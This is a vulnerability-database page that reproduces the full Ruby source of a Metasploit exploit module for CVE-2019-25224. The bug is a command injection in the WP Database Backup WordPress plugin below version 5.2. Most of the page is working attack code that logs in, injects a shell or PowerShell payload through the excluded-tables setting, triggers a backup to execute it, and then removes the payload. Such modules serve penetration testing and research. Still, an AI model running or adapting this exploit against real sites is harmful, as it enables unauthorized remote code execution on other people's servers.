WP Database Backup RCE
🗓️ 24 Apr 2019 00:00:00Reported by Mikey Veenstra / Wordfence, Shelby PaceType
metasploit🔗 www.rapid7.com👁 29 Views
| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| CVE-2019-25224 | 23 Jul 201917:29 | – | circl | |
| WordPress plugin WP Database Backup 操作系统命令注入漏洞 | 25 Jul 202500:00 | – | cnnvd | |
| CVE-2019-25224 | 25 Jul 202502:23 | – | cve | |
| CVE-2019-25224 WP Database Backup < 5.2 - Unauthenticated OS Command Injection | 25 Jul 202502:23 | – | cvelist | |
| EUVD-2019-19374 | 25 Jul 202502:23 | – | euvd | |
| CVE-2019-25224 | 25 Jul 202503:15 | – | nvd | |
| CVE-2019-25224 | 25 Jul 202503:15 | – | osv | |
| WordPress WP Database Backup plugin < 5.2 - Unauthenticated OS Command Injection vulnerability | 31 Dec 202500:00 | – | patchstack | |
| PT-2025-30720 · Databasebackup +1 · Wp Database Backup – Unlimited Database & Files Backup By Backup For Wp +1 | 25 Jul 202500:00 | – | ptsecurity | |
| CVE-2019-25224 | 27 Jul 202502:32 | – | redhatcve |
10
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::CmdStager
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::HTTP::Wordpress
def initialize(info = {})
super(
update_info(
info,
'Name' => 'WP Database Backup RCE',
'Description' => %q{
There exists a command injection vulnerability in the Wordpress plugin
`wp-database-backup` for versions < 5.2.
For the backup functionality, the plugin generates a `mysqldump` command
to execute. The user can choose specific tables to exclude from the backup
by setting the `wp_db_exclude_table` parameter in a POST request to the
`wp-database-backup` page. The names of the excluded tables are included in
the `mysqldump` command unsanitized. Arbitrary commands injected through the
`wp_db_exclude_table` parameter are executed each time the functionality
for creating a new database backup are run.
Authentication is required to successfully exploit this vulnerability.
},
'License' => MSF_LICENSE,
'Author' => [
'Mikey Veenstra / Wordfence', # Vulnerability Discovery
'Shelby Pace' # Metasploit module
],
'References' => [
[ 'CVE', '2019-25224' ],
[ 'URL', 'https://www.wordfence.com/blog/2019/05/os-command-injection-vulnerability-patched-in-wp-database-backup-plugin/' ],
],
'Targets' => [
[
'Windows',
{
'Platform' => 'win',
'Arch' => [ ARCH_X86, ARCH_X64 ]
}
],
[
'Linux',
{
'Platform' => 'linux',
'Arch' => [ ARCH_X86, ARCH_X64 ],
'CmdStagerFlavor' => 'printf'
}
]
],
'DisclosureDate' => '2019-04-24',
'DefaultTarget' => 0,
'Notes' => {
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
)
)
register_options(
[
OptString.new('USERNAME', [ true, 'Wordpress username', '' ]),
OptString.new('PASSWORD', [ true, 'Wordpress password', '' ]),
OptString.new('TARGETURI', [ true, 'Base path to Wordpress installation', '/' ])
]
)
end
def check
return CheckCode::Unknown('The target does not appear to be running WordPress') unless wordpress_and_online?
changelog_uri = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wp-database-backup', 'readme.txt')
res = send_request_cgi(
'method' => 'GET',
'uri' => changelog_uri
)
if res && res.code == 200
version = res.body.match(/=+\s(\d+\.\d+)\.?\d*\s=/)
return CheckCode::Detected('The target application was detected but the version could not be confirmed as vulnerable') unless version && version.length > 1
vprint_status("Version of wp-database-backup detected: #{version[1]}")
return CheckCode::Appears('The target is running a vulnerable version') if Rex::Version.new(version[1]) < Rex::Version.new('5.2')
end
CheckCode::Safe('The target is not running a vulnerable version')
end
def exploit
cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
fail_with(Failure::NoAccess, 'Unable to log into Wordpress') unless cookie
res = create_exclude_table(cookie)
nonce = get_nonce(res)
create_backup(cookie, nonce)
clear_exclude_table(cookie)
end
def create_exclude_table(cookie)
@exclude_uri = normalize_uri(target_uri.path, 'wp-admin', 'tools.php')
res = send_request_cgi(
'method' => 'GET',
'uri' => @exclude_uri,
'cookie' => cookie,
'vars_get' => { 'page' => 'wp-database-backup' }
)
fail_with(Failure::NotFound, 'Unable to reach the wp-database-backup settings page') unless res && res.code == 200
print_good('Reached the wp-database-backup settings page')
if datastore['TARGET'] == 1
comm_payload = generate_cmdstager(concat_operator: ' && ', temp: './')
comm_payload = comm_payload.join('&&')
comm_payload = comm_payload.gsub('\'', '')
comm_payload = "; #{comm_payload} ;"
else
comm_payload = " & #{cmd_psh_payload(payload.encoded, payload.arch, remove_comspec: true, encode_final_payload: true)} & ::"
end
table_res = send_request_cgi(
'method' => 'POST',
'uri' => @exclude_uri,
'cookie' => cookie,
'vars_post' =>
{
'wpsetting' => 'Save',
'wp_db_exclude_table[wp_comment]' => comm_payload
}
)
fail_with(Failure::UnexpectedReply, 'Failed to submit payload as an excluded table') unless table_res && table_res.code
print_good('Successfully added payload as an excluded table')
res.get_html_document
end
def get_nonce(response)
fail_with(Failure::UnexpectedReply, 'Failed to get a proper response') unless response
div_res = response.at('p[@class="submit"]')
fail_with(Failure::NotFound, 'Failed to find the element containing the nonce') unless div_res
wpnonce = div_res.to_s.match(/_wpnonce=([0-9a-z]*)/)
fail_with(Failure::NotFound, 'Failed to retrieve the wpnonce') unless wpnonce && wpnonce.length > 1
wpnonce[1]
end
def create_backup(cookie, nonce)
send_request_cgi(
'method' => 'GET',
'uri' => @exclude_uri,
'cookie' => cookie,
'vars_get' =>
{
'page' => 'wp-database-backup',
'_wpnonce' => nonce,
'action' => 'createdbbackup'
}
)
res = send_request_cgi(
'method' => 'GET',
'uri' => @exclude_uri,
'cookie' => cookie,
'vars_get' =>
{
'page' => 'wp-database-backup',
'notification' => 'create'
}
)
fail_with(Failure::UnexpectedReply, 'Failed to create database backup') unless res && res.code == 200 && res.body.include?('Database Backup Created Successfully')
print_good('Successfully created a backup of the database')
end
def clear_exclude_table(cookie)
res = send_request_cgi(
'method' => 'POST',
'uri' => @exclude_uri,
'cookie' => cookie,
'vars_post' =>
{
'wpsetting' => 'Save',
'wp_db_exclude_table[wp_comment]' => 'wp_comment'
}
)
fail_with(Failure::UnexpectedReply, 'Failed to delete the remove the payload from the excluded tables') unless res && res.code == 200
print_good('Successfully deleted the payload from the excluded tables list')
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
24 Apr 2019 00:00Current
5.5Medium risk
Vulners AI Score5.5
CVSS 3.19.8
EPSS0.16682
SSVC